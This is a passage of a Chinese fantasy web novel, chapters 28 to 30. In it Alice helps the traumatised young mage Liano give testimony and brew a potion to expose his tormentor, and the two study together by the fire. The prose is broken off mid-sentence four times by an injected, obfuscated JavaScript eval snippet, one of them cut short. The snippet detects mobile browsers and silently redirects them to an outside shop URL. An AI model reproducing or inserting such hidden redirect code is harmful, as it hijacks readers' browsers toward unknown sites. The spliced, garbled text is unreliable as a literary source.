有好几个早上,她因为没在餐桌上看见他而担忧地推开他的房门,一眼就看到他被磋磨得蜷缩在床上细细发抖。 她只有搂住他因浸透冷汗而冰冷的身体,轻轻地揉开那些磨人的痛处,每当疼痛终于愿意消退时,利亚诺简直已经煎熬到快要虚脱。 更何况,在今早签下与梅尔维尔的契约之前,他都承受着不知何时就要回到格罗姆康特的恐惧……爱丽丝不敢想象那会是怎样的重压。 所以,即使姐姐和克莱因老师应该处理好了领地方面的问题,她仍旧认为应当将利亚诺的宿舍调换到更靠近她、或者至少是在罗斯戴尔和阿尔钦势力范围内的地方。 她希望利亚诺能睡得更好一些。 “我自己过去就好……” “没事,我陪你,我可以在楼下等你。” 轻巧跳下马车的爱丽丝整理好自己的兜帽,对利亚诺露出一个笑容。 她感觉得到利亚诺在路途上并没有睡着,虽然闭着眼睛,身体却一直是微微绷紧的。 从昨晚到现在,他应该已经累得有些不舒服了,她有些担心。 而且…… “秋季学期结束的时候,学生晕倒的事件还没有调查清楚,你有听说那些事件吗?听上去很危险的样子,所以奥斯维德还是建议大家尽量不要单独行动会比较好……” “嗯?怎么了,利亚诺?” 爱丽丝轻轻歪着头去看他的眼睛。 他刚刚仿佛突然愣了一下,似乎是想到了什么。 “没、没什么……” 虽然有些在意,但爱丽丝决定先让利亚诺完成宿舍的调换。 “那我就在这里等你哦,你收拾好东西就下来好不好?” “嗯。” * 房门打开,细微的灰尘在并不明亮的光线下飞舞,营造出一种恍如隔世的陌生感,令利亚诺微微出神。 他既没有想到自己可以回到这里,尤其是以身上并无任何疼痛的状态回到这里,也没有想到自己即将离开,再也不用回来。 其实他并没有太多东西需要收拾,最多是一些书本笔记,还有就是床头的…… 视线移动到那里,利亚诺的心底突然出现一块柔软的凹陷。 珍惜地收好这块手帕时,他只是想记住她所给予的一点点温柔,他怎么也想不到她会一遍又一遍地温暖他,直到将他彻底拯救。 利亚诺收好了手帕和书本,想要立刻回到她身边,却突然感觉到一阵带着冷意的寒气从某个角落渗进来。 他的睫毛轻轻一颤,缓慢地将目光移向房间另一边那个昏暗逼仄的盥洗室。 阴影中隐约可见杂乱的痕迹,他却好像能够看清每一个想要忘掉的细节。 抓痕,血迹,冰晶草的残枝败叶。 那个让他熬到发疯的魔药太过狠厉,无数次翻覆而起,在每一个难以愈合的伤口浇灌滚烫的岩浆,而他除了再次自行压制别无他法。 他不得不死死咬牙将那些敏感到受不住的伤口一次次按进冰晶草汁液的药剂中,也就不得不一次次回想起那种让他的脊骨被彻底掰断、逼着他毫无尊严地求饶的痛苦。 一阵耳鸣和晕眩,盥洗室角落的阴影仿佛突然有了生命一般,在黑暗的空间里扭曲生长,甚至逐渐变化出特里迪克的身影。 “你以为你能逃过吗?” 不、不要…… 利亚诺仿佛听见令人胆寒的奸笑的声音。 “你忘记你是怎么求饶的了?你忘记你为了得到一点点解脱做过什么了?” 真的太疼了,那个真的太疼了……他真的熬不住…… “只是因为熬不住痛就软弱地退缩,你以为她和她身边的人会接纳你吗?” 视线开始模糊,呼吸好像被某只手死死掐住。 别、别说了……不要……求你…… 哒哒。 “……!” 窗边轻微的响动让利亚诺猛然惊醒,他克制不住地剧烈喘息,这才发现自己已经是一身冷汗。 浑身脱力般地软了一下,他扶住床沿才堪堪站稳,急促的呼吸久久不能平息。 又是哒哒两声,利亚诺终于能够分出精力去抬头查看,是一只淡黄色的小鸟正在用它的喙轻敲着窗户的玻璃。 是爱丽丝的风元素小鸟。 利亚诺缓了几秒,深深喘了一口气,才慢慢朝着窗户走去。 灵巧的小鸟在窗沿轻轻蹦了两下,然后振翅向下方飞去。 利亚诺跟随着它的轨迹,推开窗户向下看,是爱丽丝正在楼下的草地蹦蹦跳跳。 她踮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146161|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚向他挥动双臂,好像在告诉他她正在这里等他,脸上的笑容不含一丝杂质,似乎是因为成功通过风元素的探知魔法找到他的位置而感到愉快和自豪。 利亚诺再也无法忍耐。 “怎么了,怎么跑成这样?” 爱丽丝眨眨眼睛,不解地看着匆忙回到她身前的利亚诺。 他正喘得厉害,脸色好像比之前更差了一些,额上也全是细密的冷汗。 爱丽丝伸手想要擦拭他的额头,却被利亚诺轻轻拽住衣袖。 他的手指在颤抖,但是兜帽阴影下的双眼却努力地想要直视她,即使他正因某种痛苦而轻皱着眉毛。 “我有事……想和你说……” 他的声音也在不平稳的呼吸里轻轻颤抖,好像正被某种恐惧追赶着。 于是爱丽丝反手将他的手握住,去温暖那一片冰凉。 “嗯,我在听。” * “又有学徒晕倒的汇报!这才是冬季学期的第一天!” “这明显不正常吧?到底是秘境的原因还是有人在捣鬼?” 坐在主位的奥斯维德朝着爱丽丝和利亚诺所在的方向望了一眼,却暂时没有打断正在进行的汇报和讨论,他身旁的伊莎贝拉也用眼神示意他们稍安勿躁。 时间太紧,他们也未从爱丽丝那里得到全貌,只知道利亚诺拥有重要的情报。 “利亚诺,不用这么逼着自己的……” 爱丽丝感觉得到他正在轻轻发抖,就算她正握着他的手也不能缓解。 这种环境对他来说压力太大了,而且他准备说的那些内容…… 爱丽丝希望自己之前的话语能够安慰到他,但她知道,现在是他自己正在苛求自己。 她宁愿利亚诺慢一些,甚至暂时回避也可以,而不要现在就逼着自己将那些伤口暴露。 可是利亚诺紧抿着嘴唇,却摇头不愿逃避。 他想要做得更好些,哪怕只是尽力去弥补,他不想再让她失望。 可是…… “这就是我们领地提出的方案!如果让我知道是谁在背后捣鬼……我肯定饶不了他!” 正在发言的火元素学徒显然是个暴脾气,他一拳砸在桌面,旺盛的火元素魔力霎时涌出,桌面上的烛焰全都啪嚓一声炸开了火花。 “——!” 利亚诺一瞬间猛然站起身来,桌椅翻倒的尖锐声音突兀地响起。 细碎的讨论声因此戛然而止,所有的目光都集中向声音发出的方向,集中在他的身上,就好像刺在他单薄的后背。 利亚诺知道他应该开口的,现在是最好的时机,哪怕那些话语将他刺伤,也是他罪有应得。 但是,他用身体的每一次颤抖记住的火元素的魔力波动使得那些被强行压下的黑暗记忆顿时翻涌而上。 不是的,冷静点,这不是在格罗姆康特,这份魔力不是用来折磨他的…… 利亚诺试图用最后的理智说服自己,可是他的眼前开始发黑,身体不受控制地发抖。 他强迫自己张口,却一句话都说不出来,只有恐惧和喘息。 他又搞砸了。 他不值得任何好意。 他不配得到她的安慰。 “利亚诺……!” 在爱丽丝拉住他之前,利亚诺已然仓惶逃离。 他狼狈地奔跑,不管不顾地迈动脱力的双腿直到踏出图书馆的大门,然后—— 秘境。 全是黑暗的秘境。 浓雾,迷宫,可怕的黑影,将他彻底笼罩。 28. 驱散他的阴影 爱丽丝找到利亚诺的时候,他正倚靠着一堵石墙,在背光的阴影里轻轻颤抖着喘息。 虽然看上去状态不太好,但至少没有受伤,也没有被其他一些可能会伤害他的人围堵。 爱丽丝因担忧而悬着的心终于放下,她松了一口气,缓了缓稍有些急促的呼吸,然后慢慢走过去。 注意到她的靠近,利亚诺好像微微愣怔了一下,却没有再度逃离。 他总是这样的,因为有太多痛苦的过往而下意识地紧绷和恐惧,但是…… 又太渴望能得到一点点温柔。 “利亚诺。” 所以爱丽丝慢慢走到他身前,停下脚步,轻声地呼唤他。 兜帽的阴影下,她看见利亚诺的嘴唇想说什么似的微张,然后又因不知如何诉说而紧紧抿起,如此反复,最后才带着颤抖地缓缓开口。 “……别管我了……” 爱丽丝用柔和的目光看着他。 她是最不可能被他的这句话赶跑的人,因为她曾经听他说过这些话的,说让她别管他。 在那节因特里迪克的恶意而变为漫长煎熬的魔法生理学课堂,在他认定自己只能独自忍受痛苦,在他连她也无法信任、连再普通不过的关心也不敢接受的时候,他就曾用那样决绝的语气说过,别管他。 但现在的这句话却完全没有那样的气势。 利亚诺连眼睛也不敢直视她,软下来的语气委屈得不行,颤抖的声音是自厌自弃的,却被她听出来一丝想要被安慰的撒娇般的祈求。 爱丽丝又往前迈了一步,感觉到利亚诺立刻不自在地扭过头、紧张地用后背紧贴着墙面。 她想要小小地叹气。 好不容易才让他能够放松一些熟悉她的靠近的,但是却又因为突如其来的意外…… 爱丽丝几乎是一瞬间就能反应过来利亚诺为何慌乱地逃离,她不可能忘记火元素的魔力对他来说意味着什么。 那些黑暗的记忆和心底的伤口……果然还是疼得厉害吧。 即使理智上知道不用害怕,可他被浸透和磋磨了太久、太多次,早已用身体记住了那种恐惧。 爱丽丝没有急于提起这些,而是先从外袍的口袋里拿出什么。 她知道利亚诺的状态已经接近极限。 前一晚就在心理压力之下接近无眠,今早忍耐着情绪的波动和路途的疲惫依然没能好好休息,然后他坚持认为自己应当为奥斯维德的学生自治组织提供他所知道的线索,因而把自己逼迫到完全无法进食…… 爱丽丝看到他在用餐时压抑着几乎要呕吐的紧张感。 这种情况在梅尔维尔也不时发生,利亚诺在正餐时吃不下太多,因此会在体力耗尽后感到不适。 他总是会自己忍着,不愿麻烦安娜或者庞普太太,也不愿让其他人察觉,因为那会让他过意不去。 可是尚且虚弱的身体却熬不住能量的缺失,先是浑身冰冷发颤,然后是头晕目眩和眼前发黑,越来越严重,直到需要咬牙捱过去。 他甚至不愿对爱丽丝启齿,但是爱丽丝总能发现。 她不会多说些什么,只是避开其他人、在他能接受的限度内悄悄投喂些点心或糖果,就像现在这样。 所以她将什么东西用指尖递到利亚诺唇边,轻声哄着他张口。 他似乎相当消极地稍稍抵抗了一下,但最终因为这个令他熟悉的行为和令他安心的人而选择顺从。 蜂蜜柠檬糖甜滋滋的味道慢慢扩散开来,利亚诺无意识地舒了一口气。 始终发黑扭曲的视野好像正在逐渐恢复,颤抖的呼吸也似乎渐渐平息了一些。 “好点了吗?” 爱丽丝用温热的指腹轻抚他冰凉的脸颊,“利亚诺肚子饿的时候总是心情很糟糕呢。” ……把那样的失态仅仅称作心情糟糕吗? 利亚诺紧紧闭上眼睛,克制着心底对这种抚摸的渴望和眷恋。 如果是在格罗姆康特的话……他大概已经被要求跪在餐桌下,体会着攀上身体每一处的一点点增长的恐惧。 然后在他紧绷到极点的时候,那些恐惧会变为现实,不,现实会比他所能想象的还要更加恐怖,每一次都是。 那些冠冕堂皇的惩罚,仿佛是真的要让他记住教训,其实则是随性而行的、践踏他尊严的、令他熬到崩溃的刻意折磨。 但是…… 他试探地抬眼去看爱丽丝。 温暖的触感和柔和的目光没有离开,一遍又一遍提醒着他。 他已经离开那里了。 他现在在她的身边。 “要坐下来休息一会儿吗?” 爱丽丝轻声问,得到利亚诺动作微弱的摇头。 “那在我的肩膀上靠一会儿好不好?” 明明都快要站不住了……爱丽丝希望他别再勉强自己。 似乎是因为真的疲惫到了极点,她感受到利亚诺将额头轻轻靠上她的肩膀,深深地叹息般地呼吸,然后终于一点点放松下来。 他走出秘境了。 在那些黑暗的迷雾中,因为想着她的身影而走出来了。 利亚诺不愿意承认,但其实,他早就已经认定爱丽丝不会丢下他不管了。仅仅是那一次握住他手腕不放,他就认定了。 从那之后,他就一直在苦苦支持,隐秘地思念着她的身影去熬过那些痛。 在很长一段时间里,他不曾相信自己会获得什么样的心灵的支撑,但是…… 他从未被这么坚定地选择过,所以在她面前,他再也忍耐不住了。 “对不起,能不能……再陪我回去一次……” 声音还在发抖,眼眶也在发烫,但利亚诺感觉到自己的内心正慢慢坚定起来。 是她给了他继续往前的力量,所以,他也想要做些什么,不是作为对她的回报,而是自己对于命运的反抗。 * “我真不明白你们还在犹豫什么!我来当这个诱饵总可以吧?怎么说都要把幕后黑手给揪出来!” “冷静点!你怎么能肯定这些事件真的是人为造成的?” “反正绝不可能是什么元素的考验或者院长的试炼!各个领地魔法师那里搜集来的情报还不够清楚吗?从来没发生过的事情凭什么在这一世代突然发生!” “那你又怎么解释秘境的光和魔力耗尽的现象?” “关于这件事,我有一些线索……” 所有讨论者的目光一瞬间聚集向门口,仿佛要进行严厉的审判,利亚诺克制不住地轻轻颤抖了一下。 爱丽丝在他的身边安静地陪伴他,手上传来的温暖的触感不断地给予他勇气。 不能逃避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还有那瓶恐怖的魔药,用可怕的、令人熬到发疯的疼痛将他的记忆破碎模糊,可是他偏偏要仔细去回忆,他到底被逼着做了什么,魔药放了几株材料,法阵写了哪些符号…… 有好几次,他不得不停下来咬着牙调整呼吸,只因为那些借由记忆再度浮上身体的疼痛实在让他受不了了。 但是爱丽丝一直紧握着他的手,在难熬的时候用指腹在他的手腕轻轻摩挲,所以,他觉得自己好像可以再忍耐一下下。 结果并不算太糟。 在他给出有关特里迪克的线索后,大部分学徒都气愤于格罗姆康特的嚣张行径,誓要设计抓到他的把柄。激烈的议论声屡次碰撞成一团混乱,又被奥斯维德轻敲着桌面压制下来。 可是难免,有学徒对他投来异样的审视的目光,让本就对此敏感的利亚诺无法控制地紧绷。 他紧咬着下唇努力抓回自己的注意力,不去看其他任何人,只去回想爱丽丝的双眼。 在他恐慌到几乎要将自己完全否定的时候,是她始终温柔地直视他,一遍一遍告诉他,他的魔法没有错,他的知识也没有错,错的是逼迫他、给他灌下痛苦的人。 如此简单的、理所当然的字句,他却因为被逼着承受了太多的痛苦而不敢肯定,而她会不厌其烦地重复,直到他平静下来。 只有她的温柔的注视能让他平静下来。 他静静地感受着她的温暖。 哪怕无法相信自己,他至少还有她可以相信。 29. 改变他的处境 “怎么,连约你吃饭都约不到了?” 伊莎贝拉找到了正在阅览室翻看书本的爱丽丝,一手撑在她面前的书桌上,挑着眉露出一副故作诘问的姿态揶揄道。 “对不起嘛伊莎贝拉,是我不好……” 爱丽丝立刻双手合十,可怜巴巴地看着她,她知道自己已经回绝了好几次伊莎贝拉的邀请了。 伊莎贝拉见状没再继续和爱丽丝开玩笑,她叹了口气,拉开椅子在爱丽丝身旁坐下。 她明白爱丽丝是担心利亚诺的状态所以才尽量陪着他,毕竟她刚了解到他的情况时也着实吓了一跳,“我还奇怪呢,怎么你家谁也没来参加今年罗斯戴尔的秋季狩猎会,结果转头就收到梅尔维尔领主的加急信件……” “爱丽丝,你要小心,这件事可能没那么简单。” 伊莎贝拉转过头对爱丽丝低语,神情是严肃认真的。 “从别的领地平白无故要来一个人不是那么容易的,但是听我父亲说,格罗姆康特领主很轻易就答应了,仿佛根本没有认真思考一样。从言语间来看,他应该是不知道利亚诺的魔力救了特里迪克的事,认为利亚诺只是一个普通的家仆。但即使这样,用微不足道的利益竟然就能换来领主的家仆,这件事已经足够奇怪了。” 爱丽丝仔细听着伊莎贝拉的分析,轻轻皱着眉露出担忧的神色。 她知道姐姐为了利亚诺的归属请求了罗斯戴尔的帮助,但从伊莎贝拉的话语中她才了解到罗斯戴尔和格罗姆康特交涉的细节,这确实有些令人不安。 伊莎贝拉并不希望她过于担忧,开口轻声安慰。 “也别太担心了,至少现在他的状况不错,你已经做得很好了。” 爱丽丝闻言却愣了一下,然后轻轻摇头,低落地垂下眼。 “……不,伊莎贝拉,我做得不够好。”她好像在回忆一些永远忘不掉的场景,“那个时候……利亚诺他真的疼到要受不了了,可是我却没有更好的办法。我必须填补他的魔法体,对他使用治愈魔法,即使他快要熬到崩溃了也要继续,然后还要因为契约的检验、因为魔力的流动一次又一次地让他难受……” 再次抬眼看向伊莎贝拉的时候,爱丽丝的眼眶有些红红的,脸上是一个无奈而苦涩的笑容。 伊莎贝拉有一瞬愣怔,她几乎不曾看到爱丽丝展露这样复杂的情绪,于是她给了爱丽丝一个拥抱。 “你已经做到最好了,爱丽丝,你救了他,相信我。” 爱丽丝在她怀里轻轻吸了吸鼻子。 * “再加入……最后一批材料……” 利亚诺低语着提醒自己,试图让自己保持清醒,将注意力集中在魔药的调制上。 回忆出的法阵已经被交给奥斯维德,现在他需要制作出与在格罗姆康特时相同的魔药,以帮助奥斯维德等人更好地制订策略应对特里迪克。 两者都是只有他才能完成的任务,他想要做好,也必须做好。 “然后是……最后一次施法……” 魔药需要施加水元素的幻觉特性,这也就是为什么特里迪克当时会下了死手逼迫他协助,跋扈的火元素氏族不屑于学习其他元素的魔法,更别说将火元素的魔力转换为其他元素进行运用了。 但是,施加这种复杂程度的水元素魔法对于利亚诺来说也并非易事。 “呃……” 大量的魔力需求使得利亚诺克制不住地喘息,额头也渗出细密的汗珠。 他的魔力量本就贫瘠,前置的调和与施法又耗费了大部分精力,现在已经很不好受。 还差一点点……再坚持一下…… 他咬牙榨出自己最后的魔力,毫无保留地全部投入正在制作的魔药中,咕嘟冒泡的药水顿时在魔力的浸润下给出反应,泛出浓厚而神秘的色泽。 可是还没等利亚诺检查魔药制成的情况,过度消耗魔力带来的晕眩和无力立刻将他击中,他的双腿猛然软了一下,因此而慌忙支撑住桌面的手臂也在无法抑制地细细发抖。 已经很好了……他居然还能支持着勉强站稳。 利亚诺不敢回想当时他是怎么在特里迪克的逼迫下做出魔药的。 他在地牢里捱了太多的苦楚,身体的伤痛、魔法体的搅动、还有魔药的摧残,他根本没有时间喘息,就要立刻在特里迪克的监视下熬制这个复杂又耗费魔力的魔药。 他数次因体力和魔力的透支而倒地,又被转瞬即至的责罚折磨到晕不过去,他被死死按在极限处磋磨,颤抖着、蜷缩着干呕,却仍要强撑着继续。 而现在…… 他又深深喘了一口气,慢慢地可以站直身体。 消耗了太多的魔力,腹痛开始升起隐隐的疼痛,但是体内却又有某个地方缓缓传来柔和的温暖的感受,利亚诺知道这是为什么。 爱丽丝的魔力和她本人一样,一点点痛苦都不忍心给他,在他重新体会到魔力流动的状态之后,甚至连那一丝痒意都虚无缥缈到快要感觉不到,只剩下隐约的暖意偶尔在他的脆弱处轻抚。 爱丽丝……爱丽丝…… 利亚诺半阖着眼,无意识地在心里默念她的名字。 并没有给自己太多休息恢复的时间,他略微调整好呼吸,即刻收起刚刚完成的魔药,准备前往图书馆与其他人汇合。 魔药调和的教室几乎就在图书馆的隔壁,但是他害怕自己强撑的样子太过狼狈,不肯让爱丽丝陪着。 爱丽丝当然会答应,她从不会勉强他去接受什么,但是利亚诺不可能忽视她关切的眼神,因为那总是让他心里发烫。 所以,快点回去,别让她再担心了。 而且…… 头脑的晕眩还未完全消散,利亚诺却清醒地意识到,他很想现在就看到爱丽丝的身影。 * “喂。” 伊莎贝拉叫住了那个快步向图书馆走去的身影。 但是看到对方因她的突然出声而猛地一颤,她仍是被噎了一下。 “有这么吓人吗……” 她苦恼地抓了抓头发,小声嘟囔了一句,才来到他面前正色开口。 “利亚诺对吧?抱歉,秋季学期的时候我曾经误解了你的态度……毕竟在那种环境下的话,把她推远也算是保护她吧。” 利亚诺犹豫地抬起眼,认出了这个经常在爱丽丝身边出现的大领地的学徒。 鲜艳的红色长发让他想到火元素,但是却没有特里迪克那样令人感到压抑,她甚至对他露出一个温和的表情,转头看着阅览室的某个方向对他轻语。 “现在那些都结束了,就好好在她身边保护她吧。” 利亚诺顺着她的视线望去,爱丽丝正在阅览室里微笑着看着他们,好像已经知道伊莎贝拉会和他聊些什么。 ……保护她吗? 利亚诺没有接话。 明明是他一直在被她保护。 他的伤口、他的尊严、他破碎的心,在她的呵护下一点点愈合,慢慢长出新生的血肉。 她却还嫌不够似的,一直在给予他更多。 想要回到爱丽丝身边的心情变得有些难以克制,但利亚诺还是抿着嘴唇,先向奥斯维德等人的方向走去。 为他们提供信息,帮助他们应对特里迪克,这是他现在唯一的作用。 所以,就从这个开始,让他也为她做些什么吧。 “那个,不好意思,我想请问一下……这个魔药中的叠加效果是什么做到的?” 片刻的讨论后,本以为有关魔药的解释已经结束,一个素未谋面的学徒却单独询问起关于魔药制作的问题。 利亚诺因为突如其来的搭话而骤然紧张,一时没反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156136|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,正好给了另一个学徒插话的时机。 “既然这样我也想问问!法阵的这个部分你是如何设计的?这种结构方法我还没在教授的初级法阵课上听到过……” 然后是第三个,“对啊,你的魔法理论真的很厉害!这些都是你自学的吗?你平时都阅读哪些文献?” 从来没有经历过这样的关注,也未曾体会过如此热烈的研讨氛围,利亚诺的脸颊开始因为血气的上涌而微微发热。 他不知道该怎么回应,下意识地看向爱丽丝的方向想要向她求助,可是一直留意着他的状态的爱丽丝好像打定主意要袖手旁观。 她只用打开的书本遮住半边脸,眉眼笑得弯弯的。 “是不方便说吗?那也没关系的……” 提问的学徒差点就要体贴地解围,利亚诺只得局促而生涩地开口。 “没、没有……” 等到解答了所有的问题、终于被放回爱丽丝身边的时候,利亚诺的脚步简直是飘忽的,他觉得再调制一遍魔药也许都没有这么累。 他绕到爱丽丝身边靠着角落的那一侧坐下,让爱丽丝的身影能够将他挡住,就像要把自己藏起来一样。 然后,这么长时间以来第一次,他像要找寻一个安心休息的地方一般主动往爱丽丝身上靠过去,环抱着双臂,把面庞死死藏在兜帽的阴影里。 爱丽丝捂着嘴偷偷地笑,笑意却根本藏不住,连肩膀都在细细地颤抖。 她伸手去利亚诺的兜帽下轻理他的发丝,感受到他红透了的耳朵在她的指尖发烫。 “辛苦啦,利亚诺老师~” 阅览室里很快掀起激烈的讨论。 首先是针对法阵和魔药的防备措施,这些在利亚诺所提供的信息之上并不难得出。 但是更多大领地的学徒不满足于被动的防御,而是提出要揭露特里迪克的阴谋,哪怕奥斯汀副院长和教授们不会参与此类管理,领地之间的制衡也足以惩治格罗姆康特的嚣张行径。 奥斯维德认可了这一方案,可是有关于此的考虑却并不简单,诱饵、证据、抓获、还有同伙行动的可能,这一部分的讨论直到天色已有些晚了才结束。 但是就在他们即将离开图书馆时,爱丽丝却突然停住脚步,眼神躲闪地支支吾吾起来。 “啊,抱歉,伊莎贝拉……那个……要不然你们先回去吧……” 利亚诺立刻皱起眉毛担忧,因为他意识到自己也被划分在爱丽丝此刻想要赶走的人当中。 是发生什么事了吗? 他从未见过爱丽丝这副表情,所以更加紧张地抿起嘴唇。 他知道他被给予的梅尔维尔魔法家庭教师的身份在更多的意义上只是为了方便,但是他以为……至少,如果她遇到什么困难的话…… 手指微微蜷曲了一下,胸口像空了一块一样开始难受。 她是不愿意告诉他吗…… “啊,又是那个吧……” 伊莎贝拉却一副早已看透的模样,扶额叹了口气。 她接过爱丽丝手中的资料,又理了理剩余的纸笔,一把将其塞进正在愣神的利亚诺怀里,无奈地提醒他。 “这个家伙被有趣的事情吸引的时候就会这样,迷迷糊糊忘东忘西的……一会儿记得把她安全送回宿舍啊。” 然后,她便和奥斯维德一同爽快地离开了。 他们很快走远,图书馆门前不一会儿只剩下爱丽丝和利亚诺两人。 利亚诺呆愣地轻轻眨了眨眼,仍旧不敢肯定,只是试探性地看向爱丽丝。 他可以留在这里吗?她会……愿意和他说吗? “就是……那个……” 爱丽丝感受到他的目光,迫不得已地与他对视一眼,又心虚地挪开视线。 “明天要提交的作业……忘记做了……” 30. 在冬夜温暖他 “啊,我不行了——” 席地而坐的爱丽丝长叹一声向后靠过去,正好倚在身后同样席地而坐的利亚诺背上。 利亚诺因后背突然压来的重量而微微向前俯身,愣怔几秒后,又直起腰来将爱丽丝支撑住。 “……还差多少?” 他试图稳住声音。 大片大片的温暖和柔软从看不见的后背传递到身上,无法言明的信任感让他的心跳漏了一拍。 利亚诺努力忽视这种感受,将注意力拉回到那些课业上。 史宾格教授布置的是文献整理和摘录的任务,每个学徒都可以根据自己的兴趣进行文献的搜集,如果忘记了这项作业,确实需要花费不少时间。 好在爱丽丝先前已经阅读了许多相关文献,现在只需要进行梳理和摘抄就可以,稍微再费些功夫就能完成。 而且……他很愿意陪着她。 图书馆门口差点要被她避开的惶恐仿佛仍未散去,利亚诺发现,他想要被她需要,想要留在她身边,似乎只有这样他才能够安心。 “嗯?嗯……” 木柴在壁炉里细细地噼啪作响,爱丽丝盯着那团忽明忽暗炉火有些犯困,一时没有回复利亚诺的询问。 天气已经相当冷,入夜后,在阅览室翻阅文献也能够感受到阵阵寒意,所以他们将需要的书籍纸笔都捧来,盘腿坐在壁炉前的地毯上学习。 炉火静静地烘烤着,爱丽丝浑身都暖洋洋的,这会儿靠着利亚诺的后背,又被他稳稳地支撑住,让她有些想睡了。 她迷迷糊糊地、答非所问地回复,“利亚诺真的很宠我呢……” 其实她是有些不好意思的,当她必须要告诉利亚诺自己的疏漏的时候。 这种事情此前也偶尔发生,她有时会被其他更有意思的事情吸引而差点忘记正经事。 以往伊莎贝拉总会好心陪着她,这已经让她很过意不去,但要和利亚诺开口好像更难些。 毕竟,没有人比她更了解利亚诺对于魔法学习的态度,那样拼命而决绝,甚至赌上他的全部。 所以爱丽丝以为利亚诺会有些不开心的,哪怕只有一点不快,她也有自信能够看出来。 可是他不知为何好像松了一口气,很快就按照整理文献的思路询问她的进度,帮她拿来所需要的书籍,然后安静地陪伴她。 真好。 爱丽丝感觉到,那些过去的痛苦也许正在慢慢远离利亚诺。 而且今天早些时候,他生疏地试图为别人解答疑问的模样……她现在想起仍会情不自禁地抬起嘴角。 她觉得利亚诺一定会成为很厉害的魔法师的,他会懂得所有求学者的渴望,因为没有谁比他更了解求而不得的苦涩,更没有谁会像他一样坚韧地跨过所有的苦难。 到那个时候她会觉得寂寞吗? 不过至少现在,他还是她专属的魔法家庭教师。 爱丽丝侧过头用脸颊轻轻蹭了蹭他的肩膀,感受着他单薄的后背所传来的坚实的温度。 “谢谢你,利亚诺,你真好……” 利亚诺一瞬间僵硬到极点。 毫无防备的后背好像在这一刻敏感到无以复加,从被她轻蹭的肩胛骨开始发烫,一直烫到耳朵和脖颈。 她的轻语仿佛透过后背直抵他的胸口,比那句“利亚诺老师”还要让他的心尖泛起痒意。 利亚诺根本一动也不敢动,只有用微弱到几近于无的声音求饶般地嗫嚅。 “……别再捉弄我了……” 真正好的人,宠着对方的人,又怎么会是他呢…… 明明是她一次次拯救他,在他承受痛苦的时候安慰他,在他软弱逃避的时候陪伴他。 还有那些学徒友善的询问,伊莎贝拉和奥斯维德友好的态度,都是她借给他的力量,都是借由她才能获得的重新开始的可能。 可是每当他觉得已经足够了,却依然能感觉到她又一次给予的温暖…… “嗯……还差最后一点了!” 爱丽丝伸长手臂舒展了身体,姗姗来迟地回复着利亚诺的询问,对于在他心里掀起的波澜丝毫不觉。 “很快就写好,再等我一下下哦!” 她似乎在片刻的休息后完全恢复了精力,立刻前倾着身体专注地投入最后一些课业的写作中。 后背的温度开始消散,利亚诺不敢回头去看她,只有自顾自地忍耐着依旧在发烫的耳尖,装作没有察觉自己的留恋。 * “哇,下雪了!” 爱丽丝朝着飘雪的夜空呵出一口雾气,“怪不得好像突然变冷很多。” 她在踏出图书馆的同时缩了缩手,裹紧了安娜特意为她放入行李中的厚围巾。 不是很大的雪,雪花在夜色中缓和地飘落,整个学院静静伫立在其中,好像在夜空下沉眠。 “好漂亮……”她小声地感叹。 “……嗯。” 走在她身旁的利亚诺轻声回应她,似乎和平时没有什么区别,但是爱丽丝心里有什么地方被轻轻拨动了一下。 她歪过头去看他的侧脸,在短暂的愣神后突然牵住他垂落在外袍之下的手,感受到他冰凉的手指在自己的手心瑟缩了一下。 于是她更加凑近了仔细地去观察他的脸色,话语里带着关心和某种笃定。 “很冷吗,利亚诺?你是不是在胃痛?” 利亚诺的呼吸一滞,微微收缩的灰色瞳孔看着她的眼睛,想要张口却说不出话来。 为什么……会发现的呢…… 她总是这样的。 帮他换药的时候,哪怕他咬紧牙关狠心逼自己忍过去,她却总会在那些敏感的伤口快要熬不住的时候让他缓一口气。 轻轻揉捏他双手的挫伤时,也总是因为他不明显的皱眉而放轻动作。 或者在更早之前,在他沉默地忍耐着胃痛坚持听课时,她就已经无言地投来担心的目光。 她的眼睛,盛着温暖的琥珀色的瞳孔,好像一直在告诉他,他的感受不是可有可无的,不是应当被忽视和被压抑的,而是……她所在意的。 所以,他没办法在这双眼睛面前说谎。 “……有一点点。” 利亚诺的声音微微发颤,却不是因为疼痛。 只有一点点,他可以忍耐的,这一点因寒冷而造成的胃痛根本不算什么,他从很早之前就习惯了去忍耐。 这甚至不是需要他咬牙忍受的痉挛,更不能和在胸腹逼出他痛呼的拳脚棍棒相提并论。 但是爱丽丝不愿让他忍着。 “这样会不会好一点?” 她立刻摘下自己的围巾,妥帖地将其围绕在利亚诺的脖颈。 利亚诺觉得被她捂暖的温度简直快要将他烫伤,他不愿爱丽丝忍着寒冷迁就自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 